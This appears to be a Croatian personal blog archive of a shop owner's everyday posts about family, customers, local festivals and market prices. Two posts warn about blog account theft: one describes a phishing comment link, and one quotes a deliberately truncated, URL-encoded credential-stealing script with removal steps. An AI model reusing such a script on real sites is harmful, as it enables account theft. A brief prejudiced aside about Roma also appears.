Eto nam kiše. Ništa čudno nakon jučerašnjeg strahovito sparnog prijepodneva. Pa se onda jučer, taman negdje oko ručka, smračilo i narogušilo da smo morali svjetla popaliti po stanu. I ištekati uređaje. Pa je lupalo i sijevalo i pljuštalo i svašta. I opet voda pronašla put do naša dva dnevna zida. Sad čovjek više nije pametan. Dragi je zakrpao rupetinu na dimnjaku. I riskirao zdravlje i život. Više ga ne budem puštala na krov. Nek curi. Stavit ćemo ručnike na parket. Ionako smo godinama to isto radili...

Sjedim u radnji i gledam kako vani cmolji. I čekam. Staričicu koja mi je uvalila sliku na čuvanje. Domaća umjetnica, slikarica. Znala tu i tamo doći da joj nešto uradim. Tu i tamo, kažem. Prvo bi se raspitivala koliko što košta, pa pokušala postići nižu cijenu jel je ona – jelte – umirovljenica. Ha, čujte, imam popust za učenike i umirovljenike. Al samo za fotokopiranje. I to popust od 50%, što nitko u gradu neima. Drugo ne popuštam. Sirovine mi poskupile u ovih deset godina nekoliko puta, a moje cijene iste ili niže nego prvih dana. A sve ostalo poskupilo. (E, da, jučer je na placu kila lubenica bila SEDAM kuna!!!!) I onda bi starica najčešće odustala od tražene usluge. Svaka čast njoj i sličnima joj, al ja pokušavam živjeti od svog posla i prehraniti familiju.

Elem. Bakica mi unišla u radnju, ležerno, nosi neki velki paket umotan u papir, i priča i priča i odloži paket i izađe. A rekla da je krenula u grad i da nekome nosi sliku i da ne može po gradu nosati sliku i da bi je rada ostavila kod mene i da će doći po nju i da mi hvala lijepa i da mi doviđenja. Trajalo manje od minute. Ja ostala širom raširenih usta i očiju. I ode žema. To je bilo prije skoro dva sata. Sad je neima. Još neko vrijeme i ja odoh doma. Neću čekati. Toliko su me puta mušterije izvozale i ostavile da ih čekam da više neću. K vragu i obzir.

Sjećam se kako mi je lani, preklani, po kiši par dana za redom upadala žemska koja radi u obližnjoj zgradi. Znamo se iz viđenja. I kaza ona meni da je doma zaboravila kišobran a da mora ić pod marendom na plac i jel joj mogu posudit kišobran. U mene u radnji uvijek bar jedno umbrello. Ja joj dala. Vratila mi na kraju marende i zafalila. Sutradan – eto je opet. Sad već u čudu (a dani su bili baš kišni, i prognoza bila točna) ja joj opet dam. I ne vraća se taj dan. Nego sutradan popodne. Da je jako padala kiša pa mi nije mogla vratiti kišobran da ne pokisne. Al nije pitala imam li JA kišobran, za sebe...

Ev ga, opet grmi. Gasim sve.

Tko me dulje čita, zna da u radnji na pultu uvijek držim posudicu s bombonima. Najčešće malim, slatkim, tvrdim, zamotanim u prozirne papiriće. Tu sam gestu dobrodošlice usvojila u duty free shopu. Sitnica, ne košta jako puno, al ostavlja dojam. Znala sam ponekad staviti Bronhije, ili Kiki bombone, da pokažem strancima kako i mi imamo kvalitetne slatkiše. Oko Uskrsa obično napunim zdjelicu čokoladnim jajcima... Al ovi mali bomboni, koje nabavljamo u koperskom Mercatoru, su baš zgodni i ukusni.



Moj susjed Makedonac skoro svaki put kad me naiđe pozdraviti ili popričati sa mnom – uzme bombon. Neki put i uđe jedino s namjerom da si zasladi život tom slasticom. Sladoleda mu je navrh glave, znam. Zato on kod mene ima bombone, a ja za uzvrat dobijem skoro svaki dan sladoledni kup. Dobra trampa, ha?

Imam susjeda zlatara koji svaki put kad dođe priča kako bi baš eto trebao otići kupiti te bombončiće, da kako su zgodni i slatki, al kao nema vremena. Valjda misli da bih mu ja trebala kupiti i odnijeti u radnju...

Onda ima klinaca koji uporno, svaki dan upadaju u radnju s raznim pitanjima i potpitanjima, samo da bi bili u prilici uzeti koji bombon. Popuštam dok mi se ne digne tlak. Jer dovedu horde druge, musave i bučne dječurlije koja mi proharači radnjom, zaprlja stakla i pomakne izloženu robu. Onda ih rastjeram, i ne dam da mi uđu. Dok se ne ohladim.

Ima dobro odgojenih i pristojnih klinaca koji dođu sa starcima, i dok ovi kupuju, klinci il potiho upitaju smiju li uzeti bombončić. Ili plaho gledaju širom otvorenih okica i fiksiraju slatkiše. Naravno da im pružim posudicu, da se posluže. I takva dječica obavezno zahvale s velikim osmijehom na licu.

A ima i malih "pacijenata". Koji zagrabe duboko u posudicu i uzmu tri, pet, deset bombona. Roditelji ni da bi. Meni neugodno prigovoriti. Pokušala sam frendičinim klincima koji poharače posudicu duhovito pripomenuti kako su bomboni stavljeni i za drugu djecu a ne samo za njih. Mater me samo prostrijelila pogledom. Bar da je pokušala mlako prosvjedovati ili ih ukoriti... Jok. Pa mi dođu roditelji od titula i značaja u mom gradu. S djecom koja polude od bombona. Neki ih trpaju u džepove, neki u usta. I prije nego pocuclaju ili izgrizu prethodnog, već stavljaju drugi u ralje. Za nekog malog Roma iz starog grada još bi mi i bilo jasno, da je željan (iako je i to relativno, imaju im starci i love i digitalne videokamere i bijesne aute). Ovi pak fensi-šmensi starci uopće ne reagiraju, ko da i ne primjećuju vlastitu si djecu ("nisam ja s njim" - stil). Mislim... ima nas baš svakakvih.

Ala, fakat sam mislila da ste se zasitili štafeta, da vas štafeta ... Prozvaše me, kolko znam – dvaput. I pomislih ignorirat pozive . I da štafeta neće zaživjeti u ovim našim prostorima. Prevarih se...

Ideala? Ihaaa, bilo je takvih dana puno. Meni najmilije razdoblje u godini je oko Božića. Jer si u to vrijeme uzmem godišnji. Pet dana – pet dana. Planine, snijeg.

Pa krenimo od jutra. Hotelska soba, ugodno topla. Buđenje uz pjesmicu s mobitela. U neko pristojno doba, oko pol 8. Dizanje bez žurbe. Poljupci u mirisne obraze Potočnica. Pripreme za doručak, pomaganje oko pletenica, pripremanje odjeće za skijanje. Obilan doručak u hotelskom restoranu. Dobacivanja i dogovori s prijateljima za susjednim stolovima. Prva jutarnja kava u hotelskom kafiću. Djeca su po sobama, gledaju MTV, spremaju se za skijanje. Nakon ugodnog ćaskanja i zafrkancije, odlazak u sobu na ubundavanje. Provjera da li je sve pripremljeno za boravak na snijegu.

Mlađa ostavlja ključ na recepciji, starija otključava spremište za skije. Raspoređujemo se u strijelce, tajo pomaže starijoj, ja mlađoj oko pancerica, kaciga i naočala. Hvatamo skije i ostali alat i pribor i marš na skijalište. Tamo si međusobno zaželimo lijep provod i dogovaramo čvenk za par sati. Tih par sati imam samo za sebe. Kuda? Pa na klizalište!!! Putem do klizališta ovlaš pogledam izloge, uslikam sanjke sa sobovima, osunčane vrhunce okolnih planina. Navlačim na noge klizaljke i na led... Sat i nešto uživanja. Iz obližnjeg hotela puštaju glazbu na vanjske zvučnike. Par klizača na ledu ne remete moj mir i uživanje...

Nakon rekreacije odlazim na skijalište. Vrijeme je za zajednički čaj. Šaljem poruku da čekam u podnožju. Moji najmiliji spuštaju se niz padinu, rumeni i nasmiješeni. Izmjenjujemo dojmove, upadamo jedni drugima u riječ, šalica s čajem cirkulira. Pozdravljamo se, dogovaramo ponovni susret. Odlazim u hotel. S TV-a dopire glazba, palim laptop i neko vrijeme odvajam za obilazak blogosfere, telefonske razgovore i porukice. U dogovoreno vrijeme stižem na skijalište. Preuzimam skije od najmlađe. Vraćamo se u hotel, presvlačimo i odlazimo na ručak. Žamor, pošalice, dogovori za popodne.

Nakon odmora poslije ručka, odlazak na hotelski bazen. Djeca se brčkaju, mi odrasli čitamo novine, pričamo, kartamo, povremeno se ubacujemo u jacuzzi ili bazen. Večer se lijeno primiče u opuštenoj atmosferi.

Večera uz smijeh i diskretnu glazbu . Zajedničko druženje s prijateljima, u nekom od kutaka hotela. Ovisno o raspoloženju, noć završava pjesmom i plesom, ili samo ugodnim ćakulanjem...

Koga od blogera bih povela s nama? Sve vas, mili moji! Tako da i vi uživate s nama. Svako u svojoj sobi, da se može osamiti po potrebi. I da nam se može pridružiti kad zaželi, bilo na snijegu, bilo u bazenu, na kavi ili plesu...

Et. Ništa spektakularno. I – osim blogerskog društva – već doživljeno.

Ni ovu štafetu ne prosljeđujem dalje. Tko hoće, nek piše. Ja otvaram muzej blogerskih štafeta... da ne bi... dosta više...

Opet ponedjeljak. Posljednji u ovoj sezoni koja to i nije bila. Slijedeći ponedjeljak dizanje po školskom, prije 7. A taman sam se lijepo navikla u trifrtalj 8...

Opet smo se doma okupili u potpunom broju. Jučer se tajo dizao u 5 ujutro, da bi stigao u Pulu, na brod. Nije mu bilo svejedno pri pomisli na ljuljuškanje i valjanje po valovima, al na sreću najavljena bura nije bila ni srednje jaka. Sretno stigao u Mali Lošinj, našao veselu djevojčicu, okupao se s njom u mrzlom moru, poigrao. Predvečer se pozdravili s bakom i didom, i zapalili put Umaga, što morem, što kopnom... Stigli su umorni, kasno navečer. Potočnica zaspala u autu, polubudnu sam je izgrlila, izljubila , išnjofala, presvukla i ubacila u krevetac... Danas ćemo čuti dojmove, kad se nađemo na zajedničkom objedu.

Uglavnom, dida i baka zadovoljni. Niti jednu jedinu primjedbu nisu imali. Kažu da su susjedi u kampu ishvalili dijete, kak je pristojna i dobra i mirna... I rekoše bapci da je dijete dobro jelo. Ajde de. I opet me ostaviše u pozitivnom šoku . Već se jednom tako dogodilo da su je pohvalili...

Ovaj tjedan još valja obaviti nabavku tenisica, i nešto odjeće, i bilježnice za veliku. Za manju ne znamo koje bilježnice treba, 3. razred koristi pisanku B i C, i valjda matematiku 2 (aha, bilježnice se tako označavaju). Pribor za pisanje i crtanje smo nabavili. Ove godine se odričemo kineskih proizvoda, samo provjerene marke uzimamo, poput TOZ-a. Ispunila sam i narudžbenicu TOZ-a, u novinama bijaše, za komplet pribora za niže razrede. Pa da imamo kvalitetno. A ne bilježnice koje se raspadaju, okolovke i bojice koje se ne daju našiljiti, gumice koje mirišu al mrljaju... Pa treba onda i odjeću za tjelesni nabaviti. Crvene majice i donji dio trenirke. U ove dve i pol trgovine s dječjom odjećom u mom malom gradu, pitanje je hoćemo li što naći...

Ostaje nam ovaj tjedan i za ortodonta i ortopeda. Starija mora iskontrolirati zubalo, i čuti odokativnu prognozu doktora – koliko još treba nosakati taj aparat... već joj je pun kufer. Mlađoj moraju uzet mjeru za nove ortopedske uloške. Nadam se da je tijekom ovih mjeseci smanjena razlika u duljini nogica. Zadnji put su joj izmjerili 6 mm...

I tako. Ode sezona. Jučer je bio posljednji nastup mažoretkinja na trgu ovog ljeta. Skupilo se nešto ljudi. I djece koja su, po dobrom starom običaju, opet protrčavala ispred, iza i kroz mažoretkinje. Jedna mama je prošetala s jedvahodajućom bebom točno između mažoretkinja. Jedna osamljena djevojčica od dvije-tri godine ušetala je isto tako među vrteće štapove a da nitko njen nije došao pokupit je. Prišla joj je predsjednica mažoretkinja, odvela sa strane, gleda, pita ljude čije je dijete. Mater se valjda nije usudila javiti. Il je sjedila negdje za nekim stolom i cugala s društvom...

RIBE / kn/kg

sardele 25
sardoni (inćuni) 40
orade iz uzgoja i divlje 100 - 130
brancini iz uzgoja i divlji 100 - 160
mormori (ovčice) 150
cjevoli (cipli) 50
trilje 50 - 60
šuri 30 - 40
pauk 60
tuna 60 - 70
škarpena 60
bakalar 140
slane sardele 200


POVRĆE / kn/kg

krastavci 15
patlidžani 15
tikvice 12 - 15
grah 15
mahune 20
salata putarica 15
endivija 15
cikorija 15
rukola 40
radič 40
crveni radič 20
kupus 6
blitva 12
kelj 10
cvjetača 15
brokula 20
rajčica 8 - 10
mrkva 10 - 12
crveni luk 8 - 12
poriluk 20
češnjak 30 - 40
peršin mac 3
celer 2
krumpir 6 - 8
mladi krumpir 6
cikla 15
paprike 10
rotkvice mac 5
kukuruz 24
korabica 20
crveni kupus 10


VOĆE kn/kg

jabuke 10
kruške 12 - 15
breskve 16 - 20
nektarine 20
smokve 30
grožđe bijelo 20
grožđe crno 20
marelice 35
naranče 12
kivi 20
šljive 10
trešnje 35
lubenice 5
dinja 10
banane 10
limuni 12
ananas 20
maline 100
jagode 35
grejp 16
suhe smokve 35
lješnjak u ljusci 24
orasi u ljusci 24


SAMONIKLO BILJE kn/kg

kupine 100
šparoge mac 25
koromač 15

Dvojkici su hakirali blog! Prepisujem što sam dobila mailom od nje:


evo, poslala sam na help@blog.hr, a šaljem i vama

kad se pokušam logirati, dobijem poruku da je prijava neuspješna..ono: unijeli ste krivo korisničko ime ili lozinku
- ne zaboravite, lozinka razlikuje velika i mala slova
- ako ste zaboravili lozinku kliknite ovdje
- potražite pomoć na help@blog.hr ako se ne možete ulogirati niti s novom lozinkom

a sve dobro unesem... jel ima šanse da se vrati moj blog??? vražji hakeri, kukiji i ostale mrcine!!! uf, oprostite na rječniku, al sam ljuta i žalosna.



From: dva sina < dvasina@gmail.com>
Date: 23.8.2007. 14:18
Subject: heeeeelp
To: help@blog.hr


nešto mi požderalo blog!!!
kad odem na blog, na moj blog koji imam od ožujka 2005 ( rip, šmrrrc) http://2mama.blog.hr/

možete li mi pomoći da ga vratim??? mislim da nije u pitanju samo problem s instaliranjem ovih poboljšanja na blogu ha er, nego da se netko igra..i uništava blogove
a priznajem, bila sam kod MonoperajAnke na blogu http://anamarija.blog.hr/ i tamo je bio komentar, a u stvari link, kao, za uspješno komentiranje, a kako ovih dana ima problema, negdje se može, a negdje ne komentirati.. i tak, kliknem ja, a dizajn je kao ovaj vaš.. i naivno upišem korisničko ime i password i ništ, napiše mi se da se trenutno ne može..ok..
al ne mogu ja više ni svoj blog otvoriti...

evo, ak možete kako pomoći bit će mi jako dragao, ak ne, BAR MOLIM VAS OBJAVITE OVO KAO UPOZORENJE DA SE I DRUGI BLOGERI NE ZEZNU KAO JA

pozdrav

tužna vlasnica izgubljenog bloga http://2mama.blog.hr/



From: dva sina
Date: 23.8.2007. 14:44
Subject: Re: heeeeelp
To: admin@blog.hr
našla sam komentar kao onaj kod MonoperajAnke sa bloga http://anamarija.blog.hr/ i na blogu sa cool liste Nesvrstani, ispod najnovijeg posta koji se zove "stanje šoka" i ja sma u stanju šoka, zaista. oprostite ako dosađujem, al evo, tam možete u komentarima posta naići na taj link-komentar i to čak dva puta za redom.. a predstavljaju se kao "blog servis" http://www.blog.hr/komentari/id/1623057313/stanje-soka.html
pogledajte i sami
vjerojatno su kod većine sa kulerske liste ostavili ovakve komentare...nije fer!!!!


PRIDODATAK: Dvojkica je sad na blogu dva2.blog.hr

Jutros prije cika zore odoše mili moji. Za Pulu. Tamo ih dočekao brod. Za Mali Lošinj. Mlađa Potočnica otišla u novu avanturu, na petodnevno ljetovanje s bakom i didom. Starci su jučer stigli, javili da je sve oke, borave u prikolici na 4 m od mora.

Jučer je trebalo sve pripremiti. Stvari za ljetovateljicu, ali i za pratnju. Manjoj par kratkih hlača, par dugih, pa suknjicu i sandalice jer je dida rekao da će je vodit na ples, pa svašta nešta. A ne previše. Onda stvari za kupanje za svo troje. Jer je starija išla s njima da joj guza vidi puta al i da se okupa na Lošinju. Hoće li, to još ne znam.

Jutros, oko pola 5, stiže poruka na mužev mobitel. Mi si navili alarme za 5 pa nas ovo prenulo iz sna. Piše dida da je tamo nevrijeme i da se odgodi put. Da ne bi. Karte za brod kupljene još u ponedjeljak, sve spakirano. Pa opet treba ić u Pulu, pitat jel se mogu karte zamijenit. A ak ćeš ih zamijenit, moraš doć prije nego ovaj današnji brod ode, da se eventualno može nekom uvalit današnja karta. Ništa. Ide se. U 5 zvone oba naša mobitela. Malo kasnije uspijem izvuć iz kreveta uspavane ljepotice. Nismo im dali doručkovati, samo su Dramine popile. Kao, pojest će sendviče kasnije. E da... džaba prevencija. Javiše mi se kad su stigli na otok. Ovo dvoje starijih uhvatila muketina. Jedino mlađa nije povraćala. Veeeliki valovi ih valjali. Ajd, sad su stigli i oporavljaju se. Večeras valjda neće biti takvih valova, kad se vraćaju tajo i njegova prvorođena. A ja ću sjedit u radnji na iglama sve dok mi se ne jave da su pristali u pulsku luku. I onda strepiti dok ne dođu do kuće. I ponovit cijeli doživljaj u nedjelju, kad muž ide po avanturisticu.

I onda je gotovo s putovanjima. Dok ne dođe vrijeme za berbu. Al za to ima još vremena.

Joj, da vam se izjadam... Imam dvorište, jel, a u njemu dio za parkiranje auta. U dvorište se ulazi s male uske cestice kojom prometuju svi koji imaju veze sa tržnicom a i ostali, bez veze. Do našeg uzlaza u dvorište s te, cestovne strane, nalazi se i ulaz u susjedno dvorište. Tamo se pak, parkiraju raznorazni tipovi, al to nije moj problem. Dok nismo ispred stupa koji dijeli naša dva dvorišta stavili žardinjeru s cvijećem, svako malo bi se neki pametnjaković našao i sparkirao poprečke, tako da ni mi a ni susjedi nismo mogli s autom ni van ni unutra. To se trubilo, svađalo, svi su bahato mislili da je taj prostor samo za njih napravljen. Onda smo stavili žardinjeru. Pa bi ista svakih par dana bila pronađena prevrnuta. Eeeej, betonska vaza teška ohoho! Netko bi došao s kamiončićem, pa se ne bi mogao od drugih – bezobrazno sparkiranih auta – izmanevrirati, pa mic pa gur i gurao bi tako žardinjeru dok je ne bi pregurao i prevrnuo. Onda mi moj muž svako malo prije nego uđe ili izađe autom morao premiještati vazetinu. Pa je bilo i onih koji su se vrzmali oko žardinjere pa nenamjerno luplili ili ogulili auto, jer nisu gledali. Inače je tržnica poznata kao vrlo nezgodno mjesto za parkiranje. Hrpa dostavnih vozila, mladih vozača, hrpa ogrebanih auta od tuđih vrata, od tuđih ključeva (ooo, da, i toga ima naveliko. Samo ti netko onak podere lim s ključem, jer mu iz nekog razloga ne pašeš.). Postavljali se i stupići, da se ne može unići u prostor same tržnice. Ni to nije pomoglo, svako malo netko bi ili šunuo autom i slomio stup ili bi ga netko iščupao.

Onda smo se dosjetili jadu pa smo u žardinjeru posadili drfce. Dovoljno visoko da ga se vidi iz svakog auta. E, tad su jako prorijeđeni incidenti. Iako ima pametnjakovića koji se sad nasred cestice stanu i odu, ostavivši auto da smeta svim ostalima, u svim smjerovima. Pa kakofonija truba privuče bahatog vozača. Pa onda opere poganim jezikom sve one koji su htjeli proći baš kad je on imao prevažnog posla i "morao" stati kako je stao...

Već dosta vremena tako žardinjera odolijeva vremenu i limenim ljubimcima. Cvijeće svako malo mijenjamo. Tako i ovo ljeto stavismo šareni sadržaj, svaki dan ga zalijeva muž i cvijeće se širi i ukrašava. Zna se među cvijećem pojaviti i opušak, i ogrizak, i ostatak sendviča. Ljudi vole utaknuti neki svoj trag, ljenčuge kojima se ne da odšetati par koraka dalje i baciti smeće u kontejner. Redovito to čistimo. E, al ima i drugih štetočinja...



Ovo je ugnječeni trag guzice jedne od susjeda. Osamljena starica koja živi u obližnjoj zgradi u svakodnevnoj šetnji gradom osjeti potrebu za sjesti. Jer je boli kičma. Pa je već u nekoliko navrata tako posadila pozadinu taman u cvijeće. Muž ju je nekoliko puta vidio. I molio da to ne radi. Pa se baba zapjeni i viče i prijeti. Jer nju boli kičma i ona mora sjest. Neki dan sam je ja zatekla. Moja nova susjeda naslonjena na klizna vrata razgovara s babom. A baba se raširila po žardinjeri. Prilazim, baba mam počne dizat glas. Da je ona MORALA sjesti. I da nije uništila cvijeće, da ga je odgrnula. Rekoh joj da je bezobrazna. I da je mogla donijeti stolicu. Il ju je susjeda mogla uvesti u dvorište i ponudit joj svoju stolicu. A ne, ovako je slađe. Otišla sam. Za mnom se još orilo kako sam neodgojena.

Da l´ da stavim ljepila na rub? Il igle štrikaće zabodem u zemlju oko cvijeća?

A sinoć se dogodila modna revija. Pisalo na plakatu – mladih istarskih kreatora. Možda su i mladi, al su im ideje stare. Prije točno pet godina održala se vrlo, vrlo slična revija. Započelo i tada i sada starim haljinama iz ostavštine istarskih žena Gornje Bujštine, završio vjenčanicama. Ajd, nije bilo potpuno isto, neki modeli tad nisu bili viđeni. Voditeljice mlade i lijepe, poneku greškicu imale, za razliku od mješovitog para koji je onomadne muku mučio što s hrvatskim što s talijanskim jezikom.



Manekenke i domaće





i neke uvezene, poznatije - Fani Stipkovićka i Stefany Hohnjecova.



Uz modnu reviju, zabavljali nas plesači



U publici – Vanja Rupena, nekad sugrađanka, sada svjetska žena.

Srećom da još nema kiše. Pa je i druga večer fešte Ribarske noći uspješno završila. Ma, kažem vam ja, samo ponudi turiste i domaće ićem i pićem, daj malo muzike i fešta je zagarantirana...

Sinoć su prvo plesale djevojke iz studia za moderni ples Blue dream:



onda smo imali priliku vidjeti rukometaše RK Umag. Predstavili su nam se uoči nove sezone:



a zatim je stigla vesela i vrckava Danijela. Kažu da njen nastup plaćen 40 tisuća kuna. Da li je to puno više ili puno manje od nekih drugih koji nastupaju na trgovima naših gradova, pojma nemam. Al da ova mlada žena zna dignuti atmosferu, uspostaviti kontakt s publikom, to znam. Imali smo već nekoliko puta zadovoljstvo ugostiti Danijelu u našem gradu (ma dobro, platiti joj da dođe) i svaki put je napravila dobar štimung. Sinoć je pjevala,





plesala, skakutala po pozornici, ležala čak,



a i zaplesala stiskavac s jednim tatom iz publike.



Mlađa Potočnica stajala je u prvom i redu i upijala svaki pokret i svaki stih. I uživala.



Ja sam se za trajanja koncerta bavila većinom fotokopiranjem. Da ti netko subotom navečer donese stotinjak papira, većinom nacrta i troškovnika, nije baš uobičajeno. Da ti za vrijeme kopiranja dvoje zrelih ljudi izmjenjuje zaljubljene poglede, pipka se, štipka, ni to mi baš nije uobičajeno. Da mi pregledaju cijelu radnju, diraju i ono što se netko drugi ne bi baš usudio, deja vu. Da mušterija stane na ulazna vrata cijelom svojom pojavom, zakrili cijeli ulaz da nitko ne mere ni nutri ni van, i to sam već doživjela ohoho puta. Al da tip nestane i za petnaestak minuta se vrati noseći u ruci kutijicu s ogrlicom vrijednom tisuću eura (dragoj svojoj, ne meni) jer mu je bilo dosadno, to još nis doživjela. Pa sam se onda morala diviti kili zlata oko njena vrata. I dok je moj susjed Đambrljazi u to doba samo od moje mušterije zaradio tih tisuću eura, ja sam gosponu naplatila manje od sto. Kuna. Tko mi je kriv. Pod hitno moram promijeniti djelatnost...

Jučer bila ribarska fešta na trgu. Mnoštvo ljudi opet se slilo u ovaj dio grada. Mirisi ih privukli. Fina jela.




Ne jako skupo.




A bilo je i glazbe. Red puhača – puhački orkestar "Naša sloga",




pa red rocka – band "Night express" iz Pule, ovom prigodom i prateći band





Lidije Percan, istarske pjevačice zabavne glazbe.





Večeras ću raditi uz zvuke hitova Danijele Martinović.

Danas sam dobila upozoravajući mail, vezan uz nedavnu pojavu spam-koda koji je ugniježđen u neke HTML kodove blogova. Ako ga nađete, hitno ga obrišite. Srdačan pozdrav od Pjesme!

Citat s foruma http://blog.makeforum.org/upozorenje-t96.html



"...hacknuli su samu domenu, to nije vidljivo običnim userima, pretpostavljam da ni web-masteri nisu svjesni toga, ali u svakom slučaju, ako imate ovaj kod u svom blogu IZBRIŠITE GA, to je kod kojim likovi sa stranice Jezgra.org kupe vaše passworde i poslije ih koriste za bi vam difejsali blog (promijenili index) i radili tko zna što... Princip rada koda je jednostavan, to rade preko cookie-ja na glavnoj stranici, vama dobro poznat kao "Zapamti me". Nemojte to nikad klikati, ne samo radi moguće zloupotrebe drugih ljudi koji se koriste vašim računalom nego i radi ovakvih idiota.

Uđi u dizajn bloga, i skripta ti je odmah na početku. Nalazi se odmah ispod title-a, ovako izgleda (Citat):


!--Ime bloga koje ce se prikazivati u tabu browsera-- ..title>file 2555...title ..!--kraj--... ...!-- Ovdje se upravlja izgledom bloga --...

("%68%74%74%...."); ("%6a%65%7a...."); ("%74%79%6c%65%..."); img=new Image(); img.src = gemius+doc......(doc.....indexOf("hr=")+3,32);

NISAM SVE ISKOPIRALA, DA NE BIH OVDJE SAMA SEBI NAPRAVILA BELAJA. SHVATIT ĆETE VEĆ (op. Pjesme)

Pobriši ovo što je crveno, i ono "/script" prije i "script" poslije, zajedno sa znakovima "manje od" i "veće od" . "

Ošli gosti. I sretno stigli u prijestolnicu. Mašala. Štucalo se nama, a sigurno se i njima štucalo... Nije da ih nismo izogovarali kad se danas nađosmo na zajedničkom ručku (a znamo i da su oni nas), hihihihi. Bijaše to i prva prilika za obiteljski razgovor nakon dječjeg boravka kod rodbine. Elem, najviše im se svidjelo u Zagrebu. Jer je starija gledala Harryja Pottera. Sa sestričnom. Koja je dobila tu privilegiju da obje Potočnice smije frizirati. Ova moja mlađa još i da poneku punđu il kiku zamotat na glavi, starija - ni čut. Al se dala sestrični. Neka, bar nekome... Onda su curke bile i na Bundeku. I dobile i slajac i sok. I smjele gledati TV do nekog noćnog doba.

U Zagorju su najviše slikale.




Dojmile ih se životinje. Od običnih, mačaka i pasa,



do egzotičnih – poput kunića, patkica, kokica, purica, gica.





I koliko god se moja teta trudila zadovoljiti gastronomske ukuse, curama je od svih finih jela najviše ostao u sjećanju kukuruz.



Oš kuhani oš pečeni. Et. Daj curkama kukuruz u ruke i okruži ih životinjama i one sretne... A vodila ih tetka i u Varaždin grad.



No nisu ga nešto doživjele. Neš ti podatke o građevinama i godinama i događajima uspješno ni u odrasla čovjeka usaditi a kamo li u dijete na godišnjem odmoru...

Sisak. Dida i baka zaključiše dvodnevni boravak djece s čašćenjem u pizzeriji. Oboje staraca su ionako duboko uvjereni kako ja ne znam kuhati, a i da vrlo često kupujem ili spravljam nezdravu hranu. Djeca tako na večernjem izlasku naručila svaka po pol pizze od šunke i gljiva. Prvo im konobar donio jednu cijelu, na jednom tanjuru. Onda ga zamoliše da donese dvije polovice na dva tanjura. Pa je čudnim čudom mlađa Potočnica dobila polovinu pizze koja je imala i šunku i gljive i sir. A starija ostala bez sira. Kad je pitala konobara zašto nije dobila sir, ovaj joj odvratio da je mislio kako ne želi sir – kad je naglasila samo šunku i gljive. (Čudo što je dijete dobilo i tijesto i paradajz na pizzi...) Al nije znao vrli sisački momak odgovoriti kako sad jedna polovina one bivše cijele pizze sadrži sir a druga ne... Didi i baki nije bilo pravo što je moje dijete tražilo što je i naručilo, i što se nadmudrivala s velepoštovanim poslužiteljem. A večera je onda završila u revijalnom tonu – baku ulovila inspiracija pa je ovaj put ona nabrajala što je sve uočila da nije dobro u starije unuke. Ter je djetetu prisjela falična pizza. Zato je i izbila buna i talačka kriza...

Za moju mamu nisu ni puno pričale. Bakica im skuhala dva ručka po narudžbi. Za spavanje svaka žemska dobila svoju sobu. Valjda im je bilo dobro. Al kažu da je doma najljepše. I da ja najbolje kuham. ;)))))

I tako. Sad smo opet sami. I svoji na svome. Ja delam, i petkom i svetkom. Čujem izvana zvuke s trga, mažoretkinje i moderne plesačice imaju nastup. Mlađa seka išla gledati stariju kako pleše. Tajo bol boluje u kući. Javio mi da danas ne može doći u noćnu zamjenu. Maslinovo ulje s tartufima koje sam polila po salati dotuklo mu probavni trakt. Meni ništ, on je na čokoladi za kuhanje. Šteta tartufa...

Kompić kao – radi. Al ga više ne smijem ugasiti. Jerbo sam ga na jedvite jade nagovorila da proradi. Kod majstora bio, sve u redu. Nikakvih problema. Pa majstor pretpostavio da je možda tipkovnica na USB napravila problema. Ter mi direktor kupio novu tipkovnicu. Skuplju. Najjeftinija bila 30 kn, on se isprsio pa platio 45 za ovu. I miša sam promijenila, bežičnog optičkog zamijenila za stari žičani model. Jer više ne znam koji klinac zeza. A i monitor mi je sumnjiv. Ako Bog da i direktor, možda uspijem nekako nabaviti novi kompić na jesen.

Jutros smo vratili kućni kompjuter doma, na sveopće veselje i radost vlastite nam djece. A razumijem ih. Mal im je dosadno ovih dana. Mi se odrasli zabavljamo ićem, pićem i keckanjem. Uvijek se nađe netko pametan s nekom teorijom pa ostali graknu. A curkama je ispod časti sudjelovati u takvim umnim razgovorima, pa il čitaju nešto il gledaju TV il se igraju.

A imali smo ovih dana i okupacije sa šogorovim mobitelom. Isterorizirao nas. Svako jutro zvoni alarm u 6:45. I radnim danom i svetkom. Sestra već navikla. Al ne budi se šogor na zvonjavu, već ona. A i moja tetka, ako je s njima zajedno na kakvom izletu il ljetovanju. Godišnji odmor, možeš ćoriti do kad hoćeš, al ne uspijevaš – jerbo ti u trifrtalj 7 počne rompat mobitel. Isprogramiran za svaki dan. I tak u nedjelju, svetu nedjelju, jedini dan kad mogu odspavati i kad ne radim ujutro. Mir, tišina, kadli... Iskočila sam iz kreveta na prve taktove budnice, digla se i moja sestra, nađosmo se u hodniku, skoro se sudarile. Ova lovi šogorov mobitel i prekida zvonjavu. Moj šogor blaženo spava, ko da se to njega ne dotikavle. I ošlo nedjeljno jutro u pičvajz. Kako nismo uspjeli ponovno zaspati, ispodizalo se nas četvero, domaćin skuhao kavu i lijepo u 7 i nešto probudio šogora. Kad nas je sve već tako ranom zorom isprobudio, nek se i on digne. Ma, bila sam ljuta ko leptir. Ne volim se previše prepucavati ni sa kim, pa ni sa šogorom, al sam mu ipak svašta napričala. Uvrijedio se čovjek. Da što bismo htjeli, nisu nas budile bombe (šogor je bio hrvatski dragovoljac). Da, i? Sad bismo trebali biti sretni zbog toga? I svako jutro reći «O, hvala Bogu, nisu bombe.»?! No, od jučer se ne čuje alarm.

U nedjelju je starija Potočnica imala nastup mažoretkinja. Sutra opet nastupa. More je i dalje toplo, ide se na kupanje skoro svaki dan. U četvrtak tajo vozi curke u nabavku školskih torbi. Mlađa je zaželjela torbu na kotačiće, pa da može vozati knjige na putu do kuće. Starija će se vjerojatno zadovoljiti nekim poluruksakom, al za oba ramena, da se i dalje čuvaju dječja leđa. Podmuklo nam se približava kraj ljeta i početak školske godine.

Posla ima pa uživam. Talijani su ipak stigli. Roba je naručena, zalihe obnovljene, osmijeh i dalje na licu. Nek traje što dulje ovaj period.

Mili moji, trenutno sam u out-u. U petak navečer mi je crknuo kompić na poslu. Ošla tastatura (lako za nju, imam ja i staru, kućnu), nešto je rompalo u njemu, nisu se htjeli Windowsi uredno dignuti i izbijao mi napon iz kućišta. Ter je kompić kod majstora, obećali su ga u ponedjeljak pregledati, dijagnosticirati kvar i javiti što je sve potrebito za normalan rad. Donijela sam na posao kućni kompjuter, al s njim se ne mogu priključiti na Internet.

